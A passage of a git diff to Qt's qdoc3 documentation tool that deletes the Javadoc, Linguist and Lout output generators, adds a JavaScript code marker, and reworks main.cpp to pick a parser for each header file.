- return QString(); - return node->moduleName(); -} - -JavadocGenerator::JavadocGenerator() - : oldDevice(0), currentDepth(0) -{ -} - -JavadocGenerator::~JavadocGenerator() -{ -} - -void JavadocGenerator::initializeGenerator(const Config &config) -{ - HtmlGenerator::initializeGenerator(config); - - formattingLeftMap().insert(ATOM_FORMATTING_PARAMETER, - formattingLeftMap().value(ATOM_FORMATTING_TELETYPE)); - formattingRightMap().insert(ATOM_FORMATTING_PARAMETER, - formattingRightMap().value(ATOM_FORMATTING_TELETYPE)); -} - -void JavadocGenerator::terminateGenerator() -{ - HtmlGenerator::terminateGenerator(); -} - -QString JavadocGenerator::format() -{ - return "javadoc"; -} - -void JavadocGenerator::generateTree(const Tree *tree, CodeMarker *marker) -{ - HtmlGenerator::generateTree(tree, marker); -} - -QString JavadocGenerator::fileExtension(const Node *node) const -{ - if (node->type() == Node::Fake) { - return "html"; - } else { - return "jdoc"; - } -} - -QString JavadocGenerator::typeString(const Node *node) -{ - if (node->type() == Node::Function) { - const FunctionNode *func = static_cast<const FunctionNode *>(node); - return func->metaness() == FunctionNode::Signal ? "signal" : "method"; - } else { - return HtmlGenerator::typeString(node); - } -} - -QString JavadocGenerator::imageFileName(const Node *relative, const QString& fileBase) -{ - QString result = HtmlGenerator::imageFileName(relative, fileBase); - if (!result.isEmpty()) { - QString package = packageName(relative); - int numSubPackages = package.count('.') - 2; - while (numSubPackages > 0) { - result.prepend("%2E%2E/"); // javadoc 1.5.0_06 chokes on '../' - --numSubPackages; - } - } - return result; -} - -static int textDepth = 0; - -void JavadocGenerator::startText(const Node *relative, CodeMarker *marker) -{ - if (textDepth++ == 0 && relative->type() != Node::Fake) { - Q_ASSERT(!oldDevice); - oldDevice = out().device(); - Q_ASSERT(oldDevice); - out().setString(&buffer); - } - HtmlGenerator::startText(relative, marker); -} - -void JavadocGenerator::endText(const Node *relative, CodeMarker *marker) -{ - HtmlGenerator::endText(relative, marker); - if (--textDepth == 0 && relative->type() != Node::Fake) { - Q_ASSERT(oldDevice); - out().setDevice(oldDevice); - oldDevice = 0; - - /* - Need to escape XML metacharacters in .jdoc files. - */ - buffer.replace("*/", "*<!-- noop -->/"); - buffer.replace("&", "&"); - buffer.replace("\"", """); - buffer.replace("<", "<"); - buffer.replace(">", ">"); - out() << buffer; - buffer.clear(); - } -} - -int JavadocGenerator::generateAtom(const Atom *atom, const Node *relative, CodeMarker *marker) -{ - return HtmlGenerator::generateAtom(atom, relative, marker); -} - -void JavadocGenerator::generateClassLikeNode(const InnerNode *inner, CodeMarker *marker) -{ - generateIndent(); - out() << "<class name=\"" << protect(inner->name()) << "\""; - generateDoc(inner, marker); - out() << ">\n"; - - ++currentDepth; - foreach (Node *node, inner->childNodes()) { - if (node->isInnerNode()) { - generateClassLikeNode(static_cast<InnerNode *>(node), marker); - } else { - if (node->type() == Node::Enum) { - EnumNode *enume = static_cast<EnumNode *>(node); - - generateIndent(); - out() << "<enum name=\"" << protect(node->name()) << "\""; - generateDoc(node, marker); - out() << ">\n"; - - ++currentDepth; - const QList<EnumItem> &items = enume->items(); - for (int i = 0; i < items.count(); ++i) { - const EnumItem &item = items.at(i); - generateIndent(); - out() << "<enum-value name=\"" << protect(item.name()) << "\""; - generateEnumItemDoc(item.text(), enume, marker); - out() << "/>\n"; - } - --currentDepth; - - out() << "</enum>\n"; - } else if (node->type() == Node::Function) { - FunctionNode *func = static_cast<FunctionNode *>(node); - generateIndent(); - out() << (func->metaness() == FunctionNode::Signal ? "<signal" : "<method") - << " name=\"" - << protect(javaSignature(func, GeneratedJdocFile)) - << "\""; - generateDoc(node, marker); - out() << "/>\n"; - } - } - } - --currentDepth; - - generateIndent(); - out() << "</class>\n"; -} - -void JavadocGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker) -{ - HtmlGenerator::generateFakeNode(fake, marker); -} - -bool JavadocGenerator::generateText(const Text& text, const Node *relative, CodeMarker *marker) -{ - HtmlGenerator::generateText(text, relative, marker); - return true; -} - -void JavadocGenerator::generateBody(const Node *node, CodeMarker *marker) -{ - generateText(node->doc().body(), node, marker); -} - -void JavadocGenerator::generateAlsoList( const Node *node, CodeMarker *marker ) -{ - QList<Text> alsoList = node->doc().alsoList(); - supplementAlsoList(node, alsoList); - - if (node->type() == Node::Fake - || (node->type() == Node::Function - && static_cast<const FunctionNode *>(node)->metaness() == FunctionNode::Signal)) { - Text text; - - if (!alsoList.isEmpty()) { - text << Atom(Atom::ListLeft, ATOM_LIST_TAG) - << Atom(Atom::ListTagLeft, ATOM_LIST_TAG) - << Atom(Atom::FormattingLeft, ATOM_FORMATTING_BOLD) - << "See Also:" - << Atom(Atom::FormattingRight, ATOM_FORMATTING_BOLD) - << Atom(Atom::ListTagRight, ATOM_LIST_TAG) - << Atom(Atom::ListItemLeft, ATOM_LIST_TAG); - - for (int i = 0; i < alsoList.count(); ++i) { - if (i != 0) - text << ", "; - text << alsoList.at(i); - } - text << Atom(Atom::ListItemRight, ATOM_LIST_TAG) - << Atom(Atom::ListRight, ATOM_LIST_TAG); - } - - generateText(text, node, marker); - } else { - foreach (const Text &text, alsoList) { - out() << "\n@see "; - generateText(text, node, marker); - } - } -} - -QString JavadocGenerator::refForNode( const Node *node ) -{ - if (node->type() == Node::Function) - return javaSignature(static_cast<const FunctionNode *>(node), JavadocRef); - - return HtmlGenerator::refForNode(node); -} - -QString JavadocGenerator::linkForNode( const Node *node, const Node *relative ) -{ - // ### EVIL, relative should never be null - if (!relative) - relative = node; - - if (packageName(node).isEmpty()) { - // ### jasmin: Fixme - return QString(); - } - - QString result; - if (node->type() == Node::Fake) { - result = node->name(); - } else { - if (!node->isInnerNode()) { - result = linkForNode(node->parent(), relative) + "#" + refForNode(node); - } else { - result = node->name() + ".html"; - } - } - - QStringList nodePackage = packageName(node).split("."); - QStringList relativePackage = packageName(relative).split("."); - if (nodePackage == QStringList(QString()) || relativePackage == QStringList(QString())) { - qWarning("I'm in trouble [%s][%s]", qPrintable(node->name()), qPrintable(relative->name())); - return QString(); - } - - int i = nodePackage.count() - 1; - while (nodePackage.value(i) != relativePackage.value(i)) { - result.prepend(nodePackage.at(i) + "/"); - --i; - } - - ++i; - while (i < relativePackage.count()) { - result.prepend("%2E%2E/"); // javadoc 1.5.0_06 chokes on '../' - ++i; - } - - return result; -} - -QString JavadocGenerator::refForAtom(Atom *atom, const Node *node) -{ - return HtmlGenerator::refForAtom(atom, node); -} - -/* - Neutralize dumb functions called from HtmlGenerator. -*/ -void JavadocGenerator::generateDcf(const QString & /* fileBase */, const QString & /* startPage */, - const QString & /* title */, DcfSection & /* dcfRoot */) -{ -} - -void JavadocGenerator::generateIndex(const QString & /* fileBase */, const QString & /* url */, - const QString & /* title */) -{ -} - -void JavadocGenerator::generateIndent() -{ - for (int i = 0; i < currentDepth; ++i) - out() << " "; -} - -void JavadocGenerator::generateDoc(const Node *node, CodeMarker *marker) -{ - const Text &text = node->doc().body(); - if (!text.isEmpty()) { - out() << " doc=\"/**\n"; - Generator::generateStatus(node, marker); - generateText(text, node, marker); - if (node && node->type() == Node::Function) { - const FunctionNode *func = static_cast<const FunctionNode *>(node); - if (func->metaness() == FunctionNode::Signal) { - QStringList slotSignatures; - for (int i = func->parameters().count(); i >= 0; --i) - slotSignatures += javaSignature(func, SlotSignature, i); - - Text text; - - text << Atom(Atom::ListLeft, ATOM_LIST_TAG) - << Atom(Atom::ListTagLeft, ATOM_LIST_TAG) - << Atom(Atom::FormattingLeft, ATOM_FORMATTING_BOLD); - - if (slotSignatures.count() == 1) { - text << "Compatible Slot Signature:"; - } else { - text << "Compatible Slot Signatures:"; - } - - text << Atom(Atom::FormattingRight, ATOM_FORMATTING_BOLD) - << Atom(Atom::ListTagRight, ATOM_LIST_TAG); - - for (int i = 0; i < slotSignatures.count(); ++i) { - text << Atom(Atom::ListItemLeft, ATOM_LIST_TAG) - << Atom(Atom::C, marker->markedUpCode(slotSignatures.at(i), 0, "")) - << Atom(Atom::ListItemRight, ATOM_LIST_TAG); - } - text << Atom(Atom::ListRight, ATOM_LIST_TAG); - generateText(text, node, marker); - } - } - if (node) - generateAlsoList(node, marker); - out() << " */\""; - } -} - -void JavadocGenerator::generateEnumItemDoc(const Text &text, const Node *node, CodeMarker *marker) -{ - out() << " doc=\"/**\n"; - if (text.isEmpty()) { - out() << "Internal."; - } else { - generateText(text, node, marker); - } - out() << " */\""; -} - -QT_END_NAMESPACE diff --git a/tools/qdoc3/javadocgenerator.h b/tools/qdoc3/javadocgenerator.h deleted file mode 100644 index e2e8ed6..0000000 --- a/tools/qdoc3/javadocgenerator.h +++ /dev/null @@ -1,95 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the tools applications of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#ifndef JAVADOCGENERATOR_H -#define JAVADOCGENERATOR_H - -#include "htmlgenerator.h" - -QT_BEGIN_NAMESPACE - -class JavadocGenerator : public HtmlGenerator -{ -public: - JavadocGenerator(); - ~JavadocGenerator(); - - void initializeGenerator(const Config &config); - void terminateGenerator(); - QString format(); - bool canHandleFormat(const QString &format) { return format == "HTML" || format == "javadoc"; } - void generateTree(const Tree *tree, CodeMarker *marker); - QString typeString(const Node *node); - QString imageFileName(const Node *relative, const QString &fileBase); - -protected: - QString fileExtension(const Node *node) const; - void startText( const Node *relative, CodeMarker *marker ); - void endText( const Node *relative, CodeMarker *marker ); - int generateAtom( const Atom *atom, const Node *relative, CodeMarker *marker ); - void generateClassLikeNode(const InnerNode *inner, CodeMarker *marker); - void generateFakeNode( const FakeNode *fake, CodeMarker *marker ); - - bool generateText( const Text& text, const Node *relative, CodeMarker *marker ); - void generateBody( const Node *node, CodeMarker *marker ); - void generateAlsoList( const Node *node, CodeMarker *marker ); - - QString refForNode( const Node *node ); - QString linkForNode( const Node *node, const Node *relative ); - QString refForAtom(Atom *atom, const Node *node); - -private: - void generateDcf(const QString &fileBase, const QString &startPage, - const QString &title, DcfSection &dcfRoot); - void generateIndex(const QString &fileBase, const QString &url, - const QString &title); - void generateIndent(); - void generateDoc(const Node *node, CodeMarker *marker); - void generateEnumItemDoc(const Text &text, const Node *node, CodeMarker *marker); - - QString buffer; - QIODevice *oldDevice; - int currentDepth; -}; - -QT_END_NAMESPACE - -#endif diff --git a/tools/qdoc3/jscodemarker.cpp b/tools/qdoc3/jscodemarker.cpp new file mode 100644 index 0000000..5a513f7 --- /dev/null +++ b/tools/qdoc3/jscodemarker.cpp @@ -0,0 +1,151 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the tools applications of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +/* + jscodemarker.cpp +*/ + +#include "private/qdeclarativejsast_p.h" +#include "private/qdeclarativejsengine_p.h" +#include "private/qdeclarativejslexer_p.h" +#include "private/qdeclarativejsnodepool_p.h" +#include "private/qdeclarativejsparser_p.h" + +#include "atom.h" +#include "node.h" +#include "jscodemarker.h" +#include "qmlmarkupvisitor.h" +#include "text.h" +#include "tree.h" + +QT_BEGIN_NAMESPACE + +JsCodeMarker::JsCodeMarker() +{ +} + +JsCodeMarker::~JsCodeMarker() +{ +} + +/*! + Returns true if the \a code is recognized by the parser. + */ +bool JsCodeMarker::recognizeCode(const QString &code) +{ + QDeclarativeJS::Engine engine; + QDeclarativeJS::Lexer lexer(&engine); + QDeclarativeJS::Parser parser(&engine); + QDeclarativeJS::NodePool m_nodePool("<JsCodeMarker::recognizeCode>", &engine); + + QString newCode = code; + QList<QDeclarativeJS::AST::SourceLocation> pragmas = extractPragmas(newCode); + lexer.setCode(newCode, 1); + + return parser.parseProgram(); +} + +/*! + Returns true if \a ext is any of a list of file extensions + for the QML language. + */ +bool JsCodeMarker::recognizeExtension(const QString &ext) +{ + return ext == "js"; +} + +/*! + Returns true if the \a language is recognized. Only "QML" is + recognized by this marker. + */ +bool JsCodeMarker::recognizeLanguage(const QString &language) +{ + return language == "JavaScript" || language == "ECMAScript"; +} + +/*! + Returns the type of atom used to represent JavaScript code in the documentation. +*/ +Atom::Type JsCodeMarker::atomType() const +{ + return Atom::JavaScript; +} + +QString JsCodeMarker::markedUpCode(const QString &code, + const Node *relative, + const Location &location) +{ + return addMarkUp(code, relative, location); +} + +QString JsCodeMarker::addMarkUp(const QString &code, + const Node * /* relative */, + const Location &location) +{ + QDeclarativeJS::Engine engine; + QDeclarativeJS::Lexer lexer(&engine); + + QString newCode = code; + QList<QDeclarativeJS::AST::SourceLocation> pragmas = extractPragmas(newCode); + lexer.setCode(newCode, 1); + + QDeclarativeJS::Parser parser(&engine); + QDeclarativeJS::NodePool m_nodePool("<JsCodeMarker::addMarkUp>", &engine); + QString output; + + if (parser.parseProgram()) { + QDeclarativeJS::AST::Node *ast = parser.rootNode(); + // Pass the unmodified code to the visitor so that pragmas and other + // unhandled source text can be output. + QmlMarkupVisitor visitor(code, pragmas, &engine); + QDeclarativeJS::AST::Node::accept(ast, &visitor); + output = visitor.markedUpCode(); + } else { + location.warning(tr("Unable to parse JavaScript: \"%1\" at line %2, column %3").arg( + parser.errorMessage()).arg(parser.errorLineNumber()).arg( + parser.errorColumnNumber())); + output = protect(code); + } + + return output; +} + +QT_END_NAMESPACE diff --git a/tools/qdoc3/uncompressor.h b/tools/qdoc3/jscodemarker.h index d877f13..e07cdae 100644 --- a/tools/qdoc3/uncompressor.h +++ b/tools/qdoc3/jscodemarker.h @@ -40,38 +40,34 @@ ****************************************************************************/ /* - uncompressor.h + jscodemarker.h */ -#ifndef UNCOMPRESSOR_H -#define UNCOMPRESSOR_H +#ifndef JSCODEMARKER_H +#define JSCODEMARKER_H -#include <qstringlist.h> - -#include "location.h" +#include "qmlcodemarker.h" QT_BEGIN_NAMESPACE -class Uncompressor +class JsCodeMarker : public QmlCodeMarker { public: - Uncompressor( const QStringList& extensions ); - virtual ~Uncompressor(); - - virtual QString uncompressedFilePath( const QString& filePath ) = 0; - virtual void uncompressFile( const Location& location, - const QString& filePath, - const QString& outputFilePath ) = 0; + JsCodeMarker(); + ~JsCodeMarker(); - static Uncompressor *uncompressorForFileName( const QString& fileName ); + virtual bool recognizeCode(const QString &code); + virtual bool recognizeExtension(const QString &ext); + virtual bool recognizeLanguage(const QString &language); + virtual Atom::Type atomType() const; -protected: - const QStringList& fileExtensions() const { return fileExts; } + virtual QString markedUpCode(const QString &code, + const Node *relative, + const Location &location); private: - QStringList fileExts; - - static QList<Uncompressor *> uncompressors; + QString addMarkUp(const QString &code, const Node *relative, + const Location &location); }; QT_END_NAMESPACE diff --git a/tools/qdoc3/linguistgenerator.cpp b/tools/qdoc3/linguistgenerator.cpp deleted file mode 100644 index f1ed52a..0000000 --- a/tools/qdoc3/linguistgenerator.cpp +++ /dev/null @@ -1,245 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the tools applications of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/* - linguistgenerator.cpp -*/ - -#include "codemarker.h" -#include "pagegenerator.h" -#include "linguistgenerator.h" -#include "node.h" -#include "separator.h" -#include "tree.h" -#include <ctype.h> - -#include <qlist.h> -#include <qiterator.h> - -QT_BEGIN_NAMESPACE - -#define COMMAND_VERSION Doc::alias("version") - -LinguistGenerator::LinguistGenerator() - : PageGenerator() -{ -} - -LinguistGenerator::~LinguistGenerator() -{ -} - -void LinguistGenerator::initializeGenerator(const Config &config) -{ - Generator::initializeGenerator(config); -} - -void LinguistGenerator::terminateGenerator() -{ - PageGenerator::terminateGenerator(); -} - -QString LinguistGenerator::format() -{ - return "Linguist"; -} - -QString LinguistGenerator::fileExtension(const Node * /* node */) const -{ - return "ts"; -} - -void LinguistGenerator::generateClassLikeNode(const InnerNode *inner, CodeMarker *marker) -{ - out().setCodec("UTF-8"); - - QDomDocument document("TS"); - QDomElement documentElement = document.createElement("TS"); - documentElement.setAttribute("version", "1.1"); - - QList<QDomElement> contextElements = generateIndexSections(document, inner, marker); - foreach (const QDomElement &element, contextElements) - documentElement.appendChild(element); - - QDomProcessingInstruction process = document.createProcessingInstruction( - "xml", QString("version=\"1.0\" encoding=\"%1\"").arg("UTF-8")); - document.appendChild(process); - document.appendChild(documentElement); - - out() << document; - out().flush(); -} - -void LinguistGenerator::generateFakeNode( const FakeNode *fake, CodeMarker *marker ) -{ - out().setCodec("utf-8"); - - QDomDocument document("TS"); - QDomElement documentElement = document.createElement("TS"); - documentElement.setAttribute("version", "1.1"); - - QList<QDomElement> contextElements = generateIndexSections(document, fake, marker); - foreach (const QDomElement &element, contextElements) - documentElement.appendChild(element); - - QDomProcessingInstruction process = document.createProcessingInstruction( - "xml", QString("version=\"1.0\" encoding=\"%1\"").arg("utf-8")); - document.appendChild(process); - document.appendChild(documentElement); - - out() << document; - out().flush(); -} - -QList<QDomElement> LinguistGenerator::generateIndexSections( - QDomDocument &document, const Node *node, CodeMarker *marker) -{ - QList<QDomElement> contexts; - - if (node->isInnerNode()) { - const InnerNode *inner = static_cast<const InnerNode *>(node); - - foreach (const Node *child, inner->childNodes()) { - // Recurse to generate a DOM element for this child node and all - // its children. - contexts += generateIndexSections(document, child, marker); - } -/* - foreach (const Node *child, inner->relatedNodes()) { - QDomElement childElement = generateIndexSections(document, child, marker); - element.appendChild(childElement); - } -*/ - } - - // Add documentation to this node if it exists. - if (!node->doc().isEmpty()) { - - QString nodeName = fullName(node); - QString signature; - - if (node->type() == Node::Function) { - QStringList pieces; - const FunctionNode *functionNode = static_cast<const FunctionNode*>(node); - foreach (const Parameter ¶meter, functionNode->parameters()) { - QString typeString = parameter.leftType() + parameter.rightType(); - if (typeString.split(" ").size() > 1) - pieces.append(typeString + parameter.name()); - else - pieces.append(typeString + " " + parameter.name()); - } - signature = "(" + pieces.join(", ") + ")"; - } - - QDomElement contextElement = document.createElement("context"); - QDomElement nameElement = document.createElement("name"); - nameElement.appendChild(document.createTextNode(nodeName + signature)); - contextElement.appendChild(nameElement); - - QDomElement messageElement = document.createElement("message"); - contextElement.appendChild(messageElement); - - QDomElement sourceElement = document.createElement("source"); - QString sourceText = simplified(node->doc().source()); - if (!signature.isEmpty() && signature != "()" && !sourceText.contains("\\fn")) - sourceText.prepend(QString("\\fn %1%2\n").arg(nodeName).arg(signature)); - sourceElement.appendChild(document.createTextNode(sourceText)); - messageElement.appendChild(sourceElement); - - QDomElement translationElement = document.createElement("translation"); - translationElement.setAttribute("type", "unfinished"); - messageElement.appendChild(translationElement); - - QDomElement locationElement = document.createElement("location"); - locationElement.setAttribute("filename", node->doc().location().filePath()); - locationElement.setAttribute("line", node->doc().location().lineNo()); - messageElement.appendChild(locationElement); - - contexts.append(contextElement); - } - - return contexts; -} - -QString LinguistGenerator::fullName(const Node *node) const -{ - if (!node) - return ""; - else if (node->parent() && !node->parent()->name().isEmpty()) - return fullName(node->parent()) + "::" + node->name(); - else - return node->name(); -} - -QString LinguistGenerator::simplified(const QString &text) const -{ - QStringList lines = text.split("\n"); - - while (lines.size() > 0 && lines.first().trimmed().isEmpty()) - lines.pop_front(); - - while (lines.size() > 0 && lines.last().trimmed().isEmpty()) - lines.pop_back(); - - int min = 0; - bool set = false; - foreach (const QString &line, lines) { - int j = 0; - while (j < line.length()) { - if (line[j] != ' ') - break; - ++j; - } - if (j < line.length()) { - if (!set) { - min = j; - set = true; - } else - min = qMin(min, j); - } - } - for (int i = 0; i < lines.size(); ++i) - lines[i] = lines[i].mid(min); - - return lines.join("\n"); -} - -QT_END_NAMESPACE diff --git a/tools/qdoc3/location.cpp b/tools/qdoc3/location.cpp index 13e7bb3..71ee196 100644 --- a/tools/qdoc3/location.cpp +++ b/tools/qdoc3/location.cpp @@ -390,10 +390,6 @@ QString Location::top() const if (lineNo() >= 1) { str += QLatin1Char(':'); str += QString::number(lineNo()); -#if 0 - if (columnNo() >= 1) - str += ":" + QString::number(columnNo()); -#endif } if (etc()) str += QLatin1String(" (etc.)"); diff --git a/tools/qdoc3/loutgenerator.h b/tools/qdoc3/loutgenerator.h deleted file mode 100644 index 1ca4a04..0000000 --- a/tools/qdoc3/loutgenerator.h +++ /dev/null @@ -1,67 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the tools applications of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/* - loutgenerator.h -*/ - -#ifndef LOUTGENERATOR_H -#define LOUTGENERATOR_H - -#include "bookgenerator.h" - -QT_BEGIN_NAMESPACE - -class LoutGenerator : public BookGenerator -{ -public: - LoutGenerator(); - ~LoutGenerator(); - - virtual QString format(); - -protected: - // ### -}; - -QT_END_NAMESPACE - -#endif diff --git a/tools/qdoc3/main.cpp b/tools/qdoc3/main.cpp index 66b5b9d..7eb8067 100644 --- a/tools/qdoc3/main.cpp +++ b/tools/qdoc3/main.cpp @@ -45,30 +45,19 @@ #include <qglobal.h> #include <stdlib.h> -#include "apigenerator.h" #include "codemarker.h" #include "codeparser.h" #include "config.h" #include "cppcodemarker.h" #include "cppcodeparser.h" -#include "cpptoqsconverter.h" +#include "ditaxmlgenerator.h" #include "doc.h" #include "htmlgenerator.h" -#include "jambiapiparser.h" -#include "javacodemarker.h" -#include "javadocgenerator.h" -#include "linguistgenerator.h" -#include "loutgenerator.h" -#include "mangenerator.h" +#include "jscodemarker.h" #include "plaincodemarker.h" -#include "polyarchiveextractor.h" -#include "polyuncompressor.h" -#include "qsakernelparser.h" -#include "qscodemarker.h" -#include "qscodeparser.h" -#include "sgmlgenerator.h" -#include "webxmlgenerator.h" -#include "ditaxmlgenerator.h" +#include "puredocparser.h" +#include "qmlcodemarker.h" +#include "qmlcodeparser.h" #include "tokenizer.h" #include "tree.h" #include <qdebug.h> @@ -105,22 +94,6 @@ static bool showInternal = false; static bool obsoleteLinks = false; static QStringList defines; static QHash<QString, Tree *> trees; -static QString appArg; // application - -/*! - Find the Tree for language \a lang and return a pointer to it. - If there is no Tree for language \a lang in the Tree table, add - a new one. The Tree table is indexed by \a lang strings. - */ -static Tree* treeForLanguage(const QString &lang) -{ - Tree* tree = trees.value(lang); - if (tree == 0) { - tree = new Tree; - trees.insert( lang, tree ); - } - return tree; -} /*! Print the help message to \c stdout. @@ -174,7 +147,7 @@ static void processQdocconfFile(const QString &fileName) QStringList() << defaults[i].value); ++i; } - config.setStringList(CONFIG_SLOW, QStringList(slow ? "true" : "false")); + config.setStringList(CONFIG_SYNTAXHIGHLIGHTING, QStringList(slow ? "true" : "false")); config.setStringList(CONFIG_SHOWINTERNAL, QStringList(showInternal ? "true" : "false")); config.setStringList(CONFIG_OBSOLETELINKS, @@ -193,24 +166,6 @@ static void processQdocconfFile(const QString &fileName) config.load(fileName); /* - Set the application to which qdoc will create the output. - The two applications are: - - creator: additional formatting for viewing in - the Creator application. - - online: full-featured online version with search and - links to Qt topics - */ - if (appArg.isEmpty()) { - qDebug() << "Warning: Application flag not specified on" - << "command line. Options are -creator (default)" - << "and -online."; - appArg = "creator"; - } - config.setStringList(CONFIG_APPLICATION, QStringList(appArg)); - - /* Add the defines to the configuration variables. */ QStringList defs = defines + config.getStringList(CONFIG_DEFINES); @@ -229,7 +184,6 @@ static void processQdocconfFile(const QString &fileName) Location::initialize(config); Tokenizer::initialize(config); Doc::initialize(config); - CppToQsConverter::initialize(config); CodeMarker::initialize(config); CodeParser::initialize(config); Generator::initialize(config); @@ -270,74 +224,75 @@ static void processQdocconfFile(const QString &fileName) tree->setVersion(config.getString(CONFIG_VERSION)); /* - There must be a code parser for the source code language, e.g. C++. - If there isn't one, give up. - */ - CodeParser *codeParser = CodeParser::parserForLanguage(lang); - if (codeParser == 0) - config.lastLocation().fatal(tr("Cannot parse programming language '%1'").arg(lang)); - - /* By default, the only output format is HTML. */ QSet<QString> outputFormats = config.getStringSet(CONFIG_OUTPUTFORMATS); Location outputFormatsLocation = config.lastLocation(); /* - There must be a code marker for the source code language, e.g. C++. - If there isn't one, give up. - */ - CodeMarker *marker = CodeMarker::markerForLanguage(lang); - if (!marker && !outputFormats.isEmpty()) - langLocation.fatal(tr("Cannot output documentation for programming language '%1'").arg(lang)); - - /* - Read some XML indexes. What are they??? + Read some XML indexes containing definitions from other documentation sets. */ QStringList indexFiles = config.getStringList(CONFIG_INDEXES); tree->readIndexes(indexFiles); - + /* - Get all the header files: "*.ch *.h *.h++ *.hh *.hpp *.hxx" - Put them in a set. + Read the list of excluded directories. */ QSet<QString> excludedDirs; QStringList excludedDirsList = config.getStringList(CONFIG_EXCLUDEDIRS); foreach (const QString &excludeDir, excludedDirsList) excludedDirs.insert(QDir::fromNativeSeparators(excludeDir)); - QSet<QString> headers = QSet<QString>::fromList( - config.getAllFiles(CONFIG_HEADERS, CONFIG_HEADERDIRS, - codeParser->headerFileNameFilter(), - excludedDirs)); /* - Parse each header file in the set and add it to the big tree. + Get all the header files: "*.ch *.h *.h++ *.hh *.hpp *.hxx" + Put them in a set. */ - QSet<QString>::ConstIterator h = headers.begin(); - while (h != headers.end()) { - codeParser->parseHeaderFile(config.location(), *h, tree); - ++h; - } - codeParser->doneParsingHeaderFiles(tree); + QSet<QString> headers = QSet<QString>::fromList( + config.getAllFiles(CONFIG_HEADERS, CONFIG_HEADERDIRS, excludedDirs)); /* Get all the source text files: "*.cpp *.qdoc *.mm" Put them in a set. */ QSet<QString> sources = QSet<QString>::fromList( - config.getAllFiles(CONFIG_SOURCES, CONFIG_SOURCEDIRS, - codeParser->sourceFileNameFilter(), - excludedDirs)); + config.getAllFiles(CONFIG_SOURCES, CONFIG_SOURCEDIRS, excludedDirs)); + + /* + Parse each header file in the set using the appropriate parser and add it + to the big tree. + */ + QSet<CodeParser *> usedParsers; + QSet<QString>::ConstIterator h = headers.begin(); + while (h != headers.end()) { + CodeParser *codeParser = CodeParser::parserForHeaderFile(*h); + if (codeParser) { + codeParser->parseHeaderFile(config.location(), *h, tree); + usedParsers.insert(codeParser); + } + ++h; + } + + foreach (CodeParser *codeParser, usedParsers) + codeParser->doneParsingHeaderFiles(tree); + + 